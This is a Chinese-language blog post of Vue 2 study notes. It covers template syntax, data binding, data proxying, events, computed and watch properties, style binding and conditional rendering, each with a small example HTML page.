Vue笔记

  • Vue笔记已关闭评论
  • 253 次浏览
  • A+
所属分类:Web前端
摘要

​ 英文官网​ 中文官网2.声明式编码,让编码人员无需之间操作DOM,提高开发效率


一、 Vue核心

1、Vue 简介

(1)官网

英文官网

中文官网

(2)介绍与描述

  • Vue 是一套用来动态构建用户界面的渐进式JavaScript框架
    • 构建用户界面:把数据通过某种办法变成用户界面
    • 渐进式: Vue 可以自底向上逐层的应用,简单应用只需要一个轻量小巧的核心库,复杂应用可以引入各式各样的 Vue 插件
    • 作者:尤雨溪

Vue笔记

(3)特点

  1. 采用组件化模式,提高代码复用率、且让代码更好维护

Vue笔记

2.声明式编码,让编码人员无需之间操作DOM,提高开发效率

Vue笔记

3.使用虚拟DOM+优秀的Diff算法,尽量复用DOM节点

Vue笔记

Vue笔记

(4)与其他 JS 框架的关联

  • 借鉴 angular 的 模板 和 数据绑定 技术
  • 借鉴 react 的 组件化 和 虚拟DOM 技术

(5) Vue 周边库

  • vue-cli:vue 脚手架
  • vue-resource(axios):ajax 请求
  • vue-router:路由
  • vuex:状态管理(它是 vue 的插件但是没有用 vue-xxx 的命名规则)
  • vue-lazyload:图片懒加载
  • vue-scroller:页面滑动相关
  • mint-ui:基于 vue 的 UI 组件库(移动端)
  • element-ui:基于 vue 的 UI 组件库(PC 端)

2、初识 Vue

(1)前置工作

  1. 给浏览器安装[Vue Devtools](安装 — Vue.js (vuejs.org))
  2. 标签引入 Vue
  3. (可选)阻止 vue 在启动时生成生产提示Vue.config.productionTip = false;
  4. favicon 需要将页签图标放在项目根路径,重新打开就有了(shfit+F5 强制刷新)

(2)初识Vue:

  1. 想让 Vue 工作,就必须创建一个 Vue实例 ,且要传入一个配置对象
  2. root 容器里的代码依然符合 html规范 ,只不过混入了一些特殊的 Vue语法
  3. root 容器里的代码被称为 Vue模板
  4. Vue 实例与容器是一一对应的
  5. 真实开发中只有一个 Vue实例 ,并且会配合着组件一起使用
  6. {{xxx}} 中的 xxx 要写 js 表达式,且 xxx 可以自动读取到 data 中的所有属性

注意区分:js 表达式 和 js代码(语句)

​ a. 表达式:一个表达式会产生一个值,可以放在任何一个需要值的地方

​ ①a

​ ② a+b

​ ③demo(1)

​ ④x === y ? 'a' : 'b'

​ b. js代码(语句)

​ ①if(){}

​ ② for(){}

​ 7.. 一旦 data 中的数据发生变化,那么模板中用到该数据的地方也会自动更新

<!DOCTYPE html> <html lang="en"> <head>     <meta charset="UTF-8">     <title>初始Vue</title>     <!-- 引入Vue.js -->     <script type="text/javascript" src="../js/vue.js"></script> </head> <body>   <!-- 初识Vue:     1. 想让 Vue 工作,就必须创建一个 Vue实例 ,且要传入一个配置对象     2. root 容器里的代码依然符合 html规范 ,只不过混入了一些特殊的 Vue语法      3. root 容器里的代码被称为 Vue模板 -->       <!-- 准备好一个容器 -->     <div id="root">       <h1>Hello,{{name.toUpperCase()}},{{address}}}</h1>     </div>       <script type="text/javascript">       Vue.config.productionTip = false; // 阻止启动vue在启动时生成生产提示        // 创建一个Vue实例        new Vue({         el:'#root' ,//el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串         data:{//data用于指储存数据,数据供el所指定的容器使用,值我们暂时先写成一个对象           name:'DFshmily',           address:'China'         }         })               </script> </body> </html> 

3、模板语法

Vue 模板语法包括两大类

  1. 插值语法 (双大括号表达式)

    功能:用于解析标签体内容 写法: {{xxx}} ,xxx 是 js 表达式,可以直接读取到 data 中的所有区域

  2. 指令语法 (以v-开头)

    功能:用于解析标签(包括:标签属性、标签体内容、绑定事件…)

    举例: 或简写为 ,xxx 同样要写 js 表达式,可以直接读取到 data 中的所有属性

    备注: Vue 中有很多的指令,且形式都是 v-xxx ,此处只是拿 v-bind 举例

    <!DOCTYPE html> <html lang="en"> <head>     <meta charset="UTF-8">     <title>模板语法</title>      <!-- 引入Vue.js -->      <script type="text/javascript" src="../js/vue.js"></script> </head> <body>      <!-- 准备好一个容器 -->      <div id="root">         <h1>模板语法</h1>         <h3>你好,{{name}}</h3>         <hr>         <h1>指令语法</h1>         <a v-bind:href="url" x="hello">点我开始学习</a><br>         <a :href="url.toUpperCase()" x="school.hello">点我开始学习</a><br>         <a :href="school.url" x="school.hello">点我开始{{school.name}}学习</a>       </div>         <script type="text/javascript">         Vue.config.productionTip = false; // 阻止启动vue在启动时生成生产提示         new Vue({             el:'#root',             data:{                 name:'DFshmily',                 url:'https://www.cnblogs.com/DFshmily',                 school:{                     name:'Vue',                     url:'https://www.cnblogs.com/DFshmily/p/16799543.html',                     hello:'你好'                 }             }         })         </script> </body> </html> 

    Vue笔记

4、数据绑定

Vue 中有2种数据绑定的方式

a. 单向绑定 v-bind 数据只能从 data 流向页面

b. 双向绑定 v-model 数据不仅能从 data 流向页面,还可以从页面流向 data

备注 :a. 双向绑定一般都应用在表单类元素上,如 <input> <select> <textearea>

​ b. v-model:value 可以简写为 v-model ,因为 v-model 默认收集的就是 value

<!DOCTYPE html> <html lang="en"> <head>     <meta charset="UTF-8">     <title>模板语法</title>      <!-- 引入Vue.js -->      <script type="text/javascript" src="../js/vue.js"></script> </head>  <body>     <!-- 准备好一个容器 -->     <div id="root">         <!-- 普通写法 -->         单向数据绑定:<input type="text" v-bind:value="name"><br>         双向数据绑定:<input type="text" v-model:value="name"><br>          <!-- 简写 -->         单向数据绑定:<input type="text" :value="name"><br>         双向数据绑定:<input type="text" v-model="name"><br>          <!-- 如下代码是错误的,因为v-model只能应用在表单元素(输入类元素)上 -->         <h2 v-model:x="name">你好!</h2>      </div>           <script type="text/javascript">             Vue.config.productionTip = false; // 阻止启动vue在启动时生成生产提示              // 创建一个Vue实例             new Vue({                 el:'#root' ,                 data:{                     name:'DFshmily',                                  }               })         </script> </body> </html> 

Vue笔记

5、el与data的两种写法

el 与 data 的两种写法:

1)el 有2种写法

​ a. 创建 Vue 实例对象的时候配置 el 属性

​ b. 先创建 Vue 实例,随后再通过 vm.$mount('#root') 指定 el 的值

(2)data 有2种写法 :

​ a. 对象式: data: { }

​ b. 函数式: data() { return { } }

​ 如何选择:目前哪种写法都可以,以后到组件时, data 必须使用函数,否则会报错 一个重要的原则

由 Vue 管理的函数,一定不要写箭头函数,否则 this 就不再是 Vue实例 了 
<!DOCTYPE html> <html lang="en"> <head>     <meta charset="UTF-8">     <title>模板语法</title>      <!-- 引入Vue.js -->      <script type="text/javascript" src="../js/vue.js"></script> </head> <body>     <!-- 准备好一个容器 -->     <div id="root">         <h1>你好,{{name}}</h1>     </div>      <script type="text/javascript">         Vue.config.productionTip = false; // 阻止启动vue在启动时生成生产提示          // el的两种写法         new Vue({             //el:'#root' ,  //第一种写法             data:{                 name:'DFshmily',                          }           })          console.log(v)        v.$mount('#root') //第二种写法        //设置时间的例子        setTimeout(()=>{            v.$mount('#root')        },1000)                 //data的两种写法        new Vue({         el:'#root',         //data的第一种写法:对象式         // data:{         //     name:'DFshmily',                  // }          //data的第二种写法:函数式         data(){//等同于data:function(){}             console.log('@@@',this) //此处的this是Vue实例对象             return{                 name:'DFshmily',             }         }        })      </script> </body> 

6、MVVM模型

  1. M:模型(Model):对应data中的数据
  2. V:视图(View):模板代码
  3. VM:试图模板(ViewModel):Vue实例对象

Vue笔记

<!DOCTYPE html> <html lang="en"> <head>     <meta charset="UTF-8">     <title>理解MVVM</title>      <!-- 引入Vue.js -->      <script type="text/javascript" src="../js/vue.js"></script> </head> <body>     <!-- 准备好一个容器 -->     <div id="root">         <h1>学校名称:{{name}}</h1>         <h1>学校地址:{{address}}</h1>         <h1>测试一下1:{{1+1}}</h1>         <h1>测试一下2:{{$options}}</h1>         <h1>测试一下3:{{$emit}}</h1>         <h1>测试一下4:{{_c}}</h1>     </div> </body> <!--         MVM模型:         1. M:Model,模型,数据         2. V:视图(View):模板代码         3. VM:ViewModel,视图模型,Vue实例         观察发现:             1.data中所有的属性,最后都出现在了vm身上             2.vm身上所有的属性及Vue原型上所有属性,在Vue模板中都可以直接使用  -->  <script type="text/javascript">     Vue.config.productionTip = false; // 阻止启动vue在启动时生成生产提示      // 创建一个Vue实例     const vm = new Vue({         el:'#root' ,         data:{             name:'DFshmily',             address:'China'         }       })     console.log(vm); </script> </html>  

效果:

Vue笔记

7、数据代理

Object.defineProperty方法

<!DOCTYPE html> <html lang="en"> <head>     <meta charset="UTF-8">     <title>1.回顾Object.defineProperty方法</title>      <!-- 引入Vue.js -->      <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <script type="text/javascript">     let number = 18     let person = {         name:'DFshmily',         sex:'男',         //age:18     }     Object.defineProperty(person,'age',{         // value:18,         // enumerable:true, //控制属性是否可以枚举,默认值是false         // writable:true, //控制属性是否可以修改,默认值是false         // configurable:true //控制属性是否可以删除,默认值是false                  //当有人读取person的age属性时,get函数就会被调用,且返回值就是age的值         get(){             console.log('get函数被调用了')             return number         },          //当有人修改person的age属性时,set函数就会被调用,且传入的参数就是修改后的值         set(newValue){             console.log('有人修改了age属性,且修改后的值是'+newValue)             number = newValue         }     })      //console.log(Object.keys(person))     console.log(person) </script> </body> </html> 

数据代理:通过一个对象代理对另一个对象中属性的操作(读/写)

 <!-- 数据代理:通过一个对象代理对另一个对象中属性的操作(读/写) -->     <script type="text/javascript">         let obj = {x:100}         let obj2 = {y:200}          Object.defineProperty(obj2,'x',{             get(){                 return obj.x             },             set(newValue){                 obj.x = newValue             }         })     </script> 

1.Vue 中的数据代理通过 vm 对象来代理 data 对象中属性的操作(读/写)

  1. Vue 中数据代理的好处:更加方便的操作 data 中的数据

  2. 基本原理

​ a. 通过 object.defineProperty() 把 data 对象中所有属性添加到 vm 上

  b. 为每一个添加到 vm 上的属性,都指定一个 getter setter    c. 在 getter setter 内部去操作(读/写) data 中对应的属 

Vue笔记

Vue 将 data 中的数据拷贝了一份到 _data 属性中,又将 _data 里面的属性提到 Vue实例 中(如name),通过 defineProperty 实现数据代理, 这样通过 geter/setter 操作 name,进而操作 _data 中的 name。而 _data 又对 data 进行数据劫持,实现响应式

<!DOCTYPE html> <html lang="en"> <head>     <meta charset="UTF-8">     <title>1.回顾Object.defineProperty方法</title>      <!-- 引入Vue.js -->      <script type="text/javascript" src="../js/vue.js"></script> </head> <body>     <!-- 1.Vue 中的数据代理通过 vm 对象来代理 data 对象中属性的操作(读/写)     2. Vue 中数据代理的好处:更加方便的操作 data 中的数据     3. 基本原理         a. 通过 object.defineProperty() 把 data 对象中所有属性添加到 vm 上         b. 为每一个添加到 vm 上的属性,都指定一个 getter setter         c. 在 getter setter 内部去操作(读/写) data 中对应的属 --> <div id="root">     <h2>学校名称:{{name}}</h2>     <h2>学校地址:{{address}}</h2> </div>  <script type="text/javascript">     Vue.config.productionTip = false  //阻止启动生产消息,常用作指令      let data={         name:'DFshmily',          address:'China'     }     const vm = new Vue({         el:'#root',         data     })  </script> </body> </html>  

8、事件处理

(1)事件的基本使用:

​ 1.使用v-on:xxx或@xxx绑定事件,其中xxx是事件名

​ 2.事件的回调需要配置在methods中,最终会在vm上

​ 3.methods中配置的函数,不要用箭头函数!否则this就不是vm了

​ 4.methods中配置的函数,都是被Vue所管理的函数,this的指向是vm或组件实例对象

​ 5.@click='Demo'和@click="demo($event)"效果一致,但后者可以传参

<!DOCTYPE html> <html lang="en"> <head>     <meta charset="UTF-8">     <title>事件的基本使用</title>      <!-- 引入Vue.js -->      <script type="text/javascript" src="../js/vue.js"></script> </head> <body>      <!-- 事件的基本使用:             1.使用v-on:xxx或@xxx绑定事件,其中xxx是事件名             2.事件的回调需要配置在methods中,最终会在vm上             3.methods中配置的函数,不要用箭头函数!否则this就不是vm了             4.methods中配置的函数,都是被Vue所管理的函数,this的指向是vm或组件实例对象             5.@click='Demo'和@click="demo($event)"效果一致,但后者可以传参 -->          <div id="root">         <h2>欢迎来到{{name}}学习</h2>         <!-- <button v-on:click="showInfo">点我提示信息</button> -->         <button @click="showInfo1">点我提示信息1(不传参)</button>         <button @click="showInfo2($event,666)">点我提示信息2(传参)</button>      </div>      <script type="text/javascript">         Vue.config.productionTip = false  //阻止启动生产消息,常用作指令       const vm =  new Vue({             el:'#root',             data:{                 name:'DFshmily'             },             methods:{                 showInfo1(event){                     alert('你好!')                     //console.log(event.target.innerText)                    // console.log(this)                 },                 showInfo2(event,number){                     console.log(event,number)                     alert('你好2!')                 }             }         })         </script> </body> </html> 

(2)事件修饰符

​ Vue 中的事件修饰符

  1. prevent 阻止默认事件(常用)
  2. stop 阻止事件冒泡(常用)
  3. once 事件只触发一次(常用)
  4. capture 使用事件的捕获模式
  5. self 只有 event.target 是当前操作的元素时才触发事件
  6. passive 事件的默认行为立即执行,无需等待事件回调执行完毕

修饰符可以连续写,比如可以这么用: @click.prevent.stop="showInfo"

<!DOCTYPE html> <html lang="en"> <head>     <meta charset="UTF-8">     <title>事件修饰符</title>      <!-- 引入Vue.js -->      <script type="text/javascript" src="../js/vue.js"></script>       <style>         *{             margin-top:20px;         }         .demo1{             height: 50px;             background-color: pink;         }         .box1{             padding: 5px;             background-color: yellow;         }         .box2{             padding: 5px;             background-color: green;         }         .list{             width: 200px;             height: 200px;             background-color: pink;             overflow: auto;         }         li{             height: 100px;         }      </style>     </head> <body>     <div id="root">         <h2>欢迎来到{{name}}学习</h2>         <a href="https://www.cnblogs.com/DFshmily/" @click.prevent="showInfo">点我提示信息</a>         <!-- 阻止事件冒泡(常用) -->         <div class="demo1" @click="showInfo">             <button @click.stop="showInfo">点我提示信息</button>         </div>          <!-- 事件只触发一次(常用) -->         <button @click.once="showInfo">点我提示信息</button>          <!-- 使用事件的捕获模式 -->         <div class="box1" @click.capture="showMsg(1)">             div1             <div class="box2" @click.capture="showMsg(2)">                 div2                 </div>         </div>          <!-- 只有event.target是当前操作的元素时才触发事件 -->         <div class="demo1" @click.self="showInfo">             <button @click="showInfo">点我提示信息</button>         </div>          <!-- 事件的默认行为立即执行,无需等待事件回调执行完毕 -->         <ul @wheel.passive="demo" class="list">             <li>1</li>             <li>2</li>             <li>3</li>             <li>4</li>         </ul>     </div>     <script type="text/javascript">         Vue.config.productionTip = false  //阻止启动生产消息,常用作指令         const vm = new Vue({             el:'#root',             data:{                 name:'DFshmily'             },             methods:{               showInfo(e){                   //alert('你好!')                   console.log(e.target)               },               showMsg(msg){                     console.log(msg)               },               demo(){                 for(let i=0;i<10000;i++){                     console.log('#')                 }                 console.log("滚动事件")               }             }         })         </script> </body> </html>   

(3)键盘事件

键盘上的每个按键都有自己的名称和编码,例如:Enter(13)。而 Vue 还对一些常用按键起了别名方便使用

  1. Vue 中常用的按键别名

​ 回车 enter

​ 删除 delete(捕获“删除”和“退格”键 )

​ 退出 esc

​ 空格 space

​ 换行tab特殊,必须配合keydown去使用

​ 上 up

​ 下 down

​ 左 left

   右 	`right` 
  1. . Vue 未提供别名的按键,可以使用按键原始的 key 值去绑定,但注意要转为 kebab-case (多单词小写短横线写法)

  2. . 系统修饰键(用法特殊) ctrl alt shift metameta 就是 win 键)

    a.. 配合keyup使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发

​ 指定ctr+y使用@keyup.ctr.y

​ b.. 配合 keydown 使用:正常触发事件

  1. 也可以使用 keyCode 去指定具体的按键(不推荐)
  2. Vue.config.keyCodes.自定义键名 = 键码,可以去定制按键别名
<!DOCTYPE html> <html lang="en"> <head>     <meta charset="UTF-8">     <title>键盘事件</title>      <!-- 引入Vue.js -->      <script type="text/javascript" src="../js/vue.js"></script> </head> <body>     <div id="root">         <h2>欢迎来到{{name}}学习</h2>         <input type="text" placeholder="按下回车提示输入" @keyup.huiche="showInfo">     </div>      <script type="text/javascript">         Vue.config.productionTip = false  //阻止启动生产消息,常用作指令         Vue.config.keyCode.huiche = 13 //定义了一个别名按键         const vm = new Vue({             el:'#root',             data:{                 name:'DFshmily'             },             methods:{                 showInfo(e){                     //console.log(e.key,e.KeyCode)                     console.log(e.target.value)                 }             }         })         </script> </body> </html>  

9、计算属性

(1)差值语法实现

<!DOCTYPE html> <html lang="en"> <head>     <meta charset="UTF-8">     <title>2.姓名案例_methods实现</title>      <!-- 引入Vue.js -->      <script type="text/javascript" src="../js/vue.js"></script> </head> <body>     <div id="root">         姓:<input type="text" v-model="firstName"> <br/>         名:<input type="text" v-model="lastName"> <br/>         全名:<span>{{firstName.slice(0,3)}}-{{lastName}}</span>  <!--.slice表示截取前三位 -->     </div>      <script type="text/javascript">         Vue.config.productionTip = false  //阻止启动生产消息,常用作指令         const vm = new Vue({             el:'#root',             data:{                 firstName:'DF',                 lastName:'shmily'             }         })     </script>  </body> </html>  

(2)method实现

数据发生变化,模板就会被重新解析

<!DOCTYPE html> <html lang="en"> <head>     <meta charset="UTF-8">     <title>2.姓名案例_methods实现</title>      <!-- 引入Vue.js -->      <script type="text/javascript" src="../js/vue.js"></script> </head> <body>     <div id="root">         姓:<input type="text" v-model="firstName"> <br/>         名:<input type="text" v-model="lastName"> <br/>         <!-- 全名:<span>{{firstName.slice(0,3)}}-{{lastName}}</span>  .slice表示截取前三位 -->         全名:<span>{{fullName()}}</span>     </div>      <script type="text/javascript">         Vue.config.productionTip = false  //阻止启动生产消息,常用作指令         const vm = new Vue({             el:'#root',             data:{                 firstName:'DF',                 lastName:'shmily'             },             methods:{                 fullName(){                    return this.firstName+'-'+this.lastName                 }             }         })     </script>  </body> </html>  

(3)computed计算属性

  1. 定义:要用的属性不存在,需要通过已有属性计算得来
  2. 原理:底层借助了 Objcet.defineproperty() 方法提供的 getter setter
  3. get 函数什么时候执行?
    1. . 初次读取时会执行一次
    2. 当依赖的数据发生改变时会被再次调用
  4. 优势:与 methods 实现相比,内部有缓存机制(复用),效率更高,调试方便
  5. 备注
    1. 计算属性最终会出现在vm上,直接读取使用即可
    2. 如果计算属性要被修改,那必须写set函数去响应修改,且 set 中要引起计算时依赖的数据发生改变
    3. 如果计算属性确定不考虑修改,可以使用计算属性的简写形式
<!DOCTYPE html> <html lang="en"> <head>     <meta charset="UTF-8">     <title>3.计算属性</title>      <!-- 引入Vue.js -->      <script type="text/javascript" src="../js/vue.js"></script> </head> <body>     <div id="root">         姓:<input type="text" v-model="firstName"> <br/>         名:<input type="text" v-model="lastName"> <br/>         测试:<input type="text" v-model="x"> <br/> <!-- 这里修改 不会调 fullName的get方法 -->         全名:<span>{{fullName}}</span><br/><br/>         <!-- 全名:<span>{{fullName}}</span><br/><br/>         全名:<span>{{fullName}}</span><br/><br/> -->     <script type="text/javascript">         Vue.config.productionTip = false //阻止启动生产消息,常用作指令         const vm = new Vue({             el:'#root',             data:{                 firstName:'DF',                 lastName:'shmily',                 x:'你好!'             },             computed: {                     //完整写法                     // fullName: {                     // get() {                     // console.log('get被调用了')                     // return this.firstName + '-' + this.lastName                     // },                     // set(value) {                     // console.log('set', value)                     // const arr = value.split('-')                     // this.firstName = arr[0]                     // this.lastName = arr[1]                     // }                     // }             // 简写             fullName() {                 console.log('get被调用了')                 return this.firstName + '-' + this.lastName                 }             }          })     </script> </body> </html> 

10、侦听属性

<!DOCTYPE html> <html lang="en"> <head>     <meta charset="UTF-8">     <title>1.天气案例</title>      <!-- 引入Vue.js -->      <script type="text/javascript" src="../js/vue.js"></script> </head> <body>     <div id="root">         <h2>今天天气很{{info}}</h2>         <button @click="changeWeather">切换天气</button>     </div>      <script type="text/javascript">         Vue.config.productionTip = false          const vm = new Vue({             el:'#root',             data:{                 isHot: true             },             computed:{                 info(){                     return this.isHot ? '炎热' : '凉爽'                 }             },             methods: {                 changeWeather(){                     this.isHot = !this.isHot                 }             },         })     </script> </body> </html> 

Vue笔记

(1)侦听属性基本用法

watch监视属性

  1. 当被监视的属性变化时,回调函数自动调用,进行相关操作
  2. 监视的属性必须存在,才能进行监视,既可以监视 data ,也可以监视计算属性
  3. 配置项属性 immediate:false ,改为 true,则初始化时调用一次 handler(newValue,oldValue)
  4. 监视有两种写法
    1. 创建 Vue 时传入 watch: {} 配置
    2. 通过 vm.$watch() 监视
<!DOCTYPE html> <html lang="en"> <head>     <meta charset="UTF-8">     <title>2.天气案例_监视属性</title>      <!-- 引入Vue.js -->      <script type="text/javascript" src="../js/vue.js"></script> </head> <body>     <div id="root">         <h2>今天天气很{{info}}</h2>         <button @click="changeWeather">切换天气</button>     </div>      <script type="text/javascript">        Vue.config.productionTip = false         const vm = new Vue({         el:'#root',         data:{             isHot:true         },         computed:{             info(){                     return this.isHot ? '炎热' : '凉爽'                 }         },         methods: {             changeWeather(){                     this.isHot = !this.isHot                 }         },     //    watch:{     //     isHot:{     //         immediate:true, //初始化时让handler调用一下     //         //handler在isHot发生改变时被调用     //         handler(newValue,oldValue){     //             console.log('isHot被修改了',newValue,oldValue)     //         }     //     }     //    }        })        vm.$watch('isHot',{         immediate:true, //初始化时让handler调用一下             //handler在isHot发生改变时被调用             handler(newValue,oldValue){                 console.log('isHot被修改了',newValue,oldValue)             }        })     </script> </body> </html> 

(2)深度监听

  1. Vue 中的 watch 默认不监测对象内部值的改变(一层)

  2. watch 中配置 deep:true 可以监测对象内部值的改变(多层)

注意

  1. Vue 自身可以监测对象内部值的改变,但 Vue 提供的 watch 默认不可以
  2. 使用 watch 时根据监视数据的具体结构,决定是否采用深度监视
<!DOCTYPE html> <html lang="en"> <head>     <meta charset="UTF-8">     <title>3.天气案例_深度监听</title>      <!-- 引入Vue.js -->      <script type="text/javascript" src="../js/vue.js"></script> </head> <body>     <div id="root">         <h2>今天天气很{{info}}</h2>         <button @click="changeWeather">切换天气</button>         <hr/>         <h3>a的值是:{{numbers.a}}</h3>         <button @click="numbers.a++">点我a加1</button>         <h3>b的值是:{{numbers.b}}</h3>         <button @click="numbers.b++">点我b加1</button>         <button @click="numbers = {a:666,b:888}">彻底替换掉numbers</button>         <!-- {{numbers.c.d.e}} -->     </div>      <script type="text/javascript">        Vue.config.productionTip = false         const vm = new Vue({         el:'#root',         data:{             isHot:true,             numbers:{                 a:1,                 b:1,                 c:{                  d:{                     e:100                  }                 }             }         },         computed:{             info(){                     return this.isHot ? '炎热' : '凉爽'                 }         },         methods: {             changeWeather(){                     this.isHot = !this.isHot                 }         },        watch:{           //    'numbers.a':{         //     handler(){         //         console.log('a被改变了')         //     }         //    },         //    'numbers.b':{         //     handler(){         //         console.log('b被改变了')         //     }         //    }         numbers:{             deep:true,             handler(){                 console.log('numbers被改变了')             }         }                }             })            </script> </body> </html> 

Vue笔记

(3)侦听属性简写

如果监视属性除了 handler 没有其他配置项的话,可以进行简写

<!DOCTYPE html> <html lang="en"> <head>     <meta charset="UTF-8">     <title>4.天气案例_深度监听(简写)</title>      <!-- 引入Vue.js -->      <script type="text/javascript" src="../js/vue.js"></script> </head> <body>     <div id="root">         <h3>今天天气很{{ info }}</h3>         <button @click="changeWeather">切换天气</button>        </div>         <script type="text/javascript">         Vue.config.productionTip = false         const vm = new Vue({         el: '#root',         data: {isHot: true,},         computed: {info() {return this.isHot ? '炎热' : '凉爽'}},         methods: {changeWeather() {this.isHot = !this.isHot}},         watch: {             // 正常写法             // isHot: {             //  immediate:true, //初始化时让handler调用一下             //  deep:true, //深度监视             // handler(newValue, oldValue) {              // console.log('isHot被修改了', newValue, oldValue)             // }             // },             //简写         isHot(newValue, oldValue) {             console.log('isHot被修改了', newValue, oldValue, this)         }         }         })         //正常写法             // vm.$watch('isHot', {             // immediate: true, //初始化时让handler调用一下             // deep: true,//深度监视             // handler(newValue, oldValue) {             // console.log('isHot被修改了', newValue, oldValue)             // }             // })l         //简写         // vm.$watch('isHot', (newValue, oldValue) => {         // console.log('isHot被修改了', newValue, oldValue, this)         // })         </script> </body> </html>  

(4)计算属性VS侦听属性

computedwatch之间的区别

  • computed 能完成的功能, watch 都可以完成

  • watch 能完成的功能, computed 不一定能完成,例如 watch 可以进行异步操作

    两个重要的小原则

  • 所有被 Vue 管理的函数,最好写成普通函数,这样 this 的指向才是 vm 或 组件实例对象

  • 所有不被 Vue 所管理的函数(定时器的回调函数、ajax 的回调函数等、Promise 的回调函数),最好写成箭头函数,这样 this 的指向才是 vm 或 组件实例对象

使用计算属性

 const vm = new Vue({             el:'#root',             data:{                 firstName:'DF',                 lastName:'shmily', 			}, 			  computed: { 					fullName() {                			 console.log('get被调用了')                 		return this.firstName + '-' + this.lastName                 }             } }) 

使用监听属性

  new Vue({  	el:'#root',  	data:{  		firstName:'张',  		lastName:'三',  		fullName:'张-三'  	},  	watch:{ 		 firstName(val){  		setTimeout(()=>{  		this.fullName = val + '-' + this.lastName  		},1000); 	 },  	lastName(val){  		this.fullName = this.firstName + '-' + val  	}  	} })   

11、绑定样式

class 样式

  • 写法: :class="xxx" ,xxx 可以是字符串、数组、对象
  • :style="[a,b]" 其中a、b是样式对象
  • :style="{fontSize: xxx}" 其中 xxx 是动态值
    • 字符串写法适用于:类名不确定,要动态获取
    • 数组写法适用于:要绑定多个样式,个数不确定,名字也不确定
    • 对象写法适用于:要绑定多个样式,个数确定,名字也确定,但不确定用不用
<!DOCTYPE html> <html lang="en">  <head>     <meta charset="UTF-8">     <title>绑定样式</title>     <script type="text/javascript" src="../js/vue.js"></script>     <style>         .basic {             width: 300px;             height: 50px;             border: 1px solid black;         }          .happy {             border: 3px solid red;             background-color: rgba(255, 255, 0, 0.644);             background: linear-gradient(30deg, yellow, pink, orange, yellow);         }          .sad {             border: 4px dashed rgb(2, 197, 2);             background-color: skyblue;         }          .normal {             background-color: #bfa;         }          .dfshmily1 {             background-color: yellowgreen;         }          .dfshmily2 {             font-size: 20px;             text-shadow: 2px 2px 10px red;         }          .dfshmily3 {             border-radius: 20px;         }     </style> </head>  <body>     <div id="root">         <!-- 绑定class样式--字符串写法,适用于:样式的类名不确定,需要动态指定 -->         <div class="basic" :class="mood" @click="changeMood">{{name}}</div><br /><br />          <!-- 绑定class样式--数组写法,适用于:要绑定的样式个数不确定、名字也不确定 -->         <div class="basic" :class="classArr">{{name}}</div><br /><br />          <!-- 绑定class样式--对象写法,适用于:要绑定的样式个数确定、名字也确定,但要动态决定用不用 -->         <div class="basic" :class="classObj">{{name}}</div><br /><br />          <!-- 绑定style样式--对象写法 -->         <div class="basic" :style="styleObj">{{name}}</div><br /><br />          <!-- 绑定style样式--数组写法 -->         <div class="basic" :style="styleArr">{{name}}</div>     </div>      <script type="text/javascript">         Vue.config.productionTip = false          const vm = new Vue({             el: '#root',             data: {                 name: 'DFshmily',                 mood: 'normal',                 classArr: ['dfshmily1', 'dfshmily2', 'dfshmily3'],                 classObj: {                     dfshmily1: false,                     dfshmily2: false,                 },                 styleObj: {                     fontSize: '40px',                     color: 'red',                 },                 styleObj2: {                     backgroundColor: 'orange'                 },                 styleArr: [                     {                         fontSize: '40px',                         color: 'blue',                     },                     {                         backgroundColor: 'gray'                     }                 ]             },             methods: {                 changeMood() {                     const arr = ['happy', 'sad', 'normal']                     const index = Math.floor(Math.random() * 3)                     this.mood = arr[index]                 }             },         })     </script> </body>  </html> 

Vue笔记

12、条件渲染

v-if

  • 写法 跟 if else 语法类似

    v-if="表达式"

    v-else-if="表达式"

    v-else

  • 适用于:切换频率较低的场景,因为不展示的 DOM 元素直接被移除

  • 注意: v-if 可以和 v-else-if v-else 一起使用,但要求结构不能被打断

v-show

  • 写法: v-show="表达式"
  • 适用于:切换频率较高的场景
  • 特点:不展示的 DOM 元素未被移除,仅仅是使用样式隐藏掉 display: none

备注

使用 v-if 的时,元素可能无法获取到,而使用v-show一定可以获取到template标签不影响结构,页面 html 中不会有此标签,但只能配合 v-if ,不能配合 v-show

<!DOCTYPE html> <html lang="en">  <head>     <meta charset="UTF-8">     <title>条件渲染</title>     <script type="text/javascript" src="../js/vue.js"></script> </head>  <body>      <div id="root">         <h2>当前的n值是:{{ n }}</h2>         <button @click="n++">点我n+1</button>         <!-- 使用v-show做条件渲染 -->         <!-- <h2 v-show="false">欢迎来到{{name}}</h2> -->         <!-- <h2 v-show="1 === 1">欢迎来到{{name}}</h2> -->          <!-- 使用v-if做条件渲染 -->         <!-- <h2 v-if="false">欢迎来到{{name}}</h2> -->         <!-- <h2 v-if="1 === 1">欢迎来到{{name}}</h2> -->          <!-- v-else和v-else-if -->         <!-- <div v-show="n === 1">Angular</div> -->         <!-- <div v-show="n === 2">React</div> -->         <!-- <div v-show="n === 3">Vue</div> -->         <!-- <div v-if="n === 1">Angular</div> -->         <!-- <div v-else-if="n === 2">React</div> -->         <!-- <div v-else-if="n === 3">Vue</div> -->         <!-- <div v-else>哈哈</div> -->          <!-- v-if与template的配合使用 -->         <template v-if="n === 1">             <h3>你好</h3>             <h3>DFshmily</h3>             <h3>China</h3>         </template>      </div>     <script type="text/javascript">         Vue.config.productionTip = false         const vm = new Vue({             el: '#root',             data: {                 name: 'DFshmily',                 n: 0             }         })     </script> </body>  </html> 

Vue笔记

13、列表渲染

(1)基本列表

v-for 指令

  • 用于展示列表数据
  • 语法: <li v-for="(item, index) of items" :key="index">,这里 key 可以是 index ,更好的是遍历对象的唯一标识
  • 可遍历:数组、对象、字符串(用的少)、指定次数(用的少)
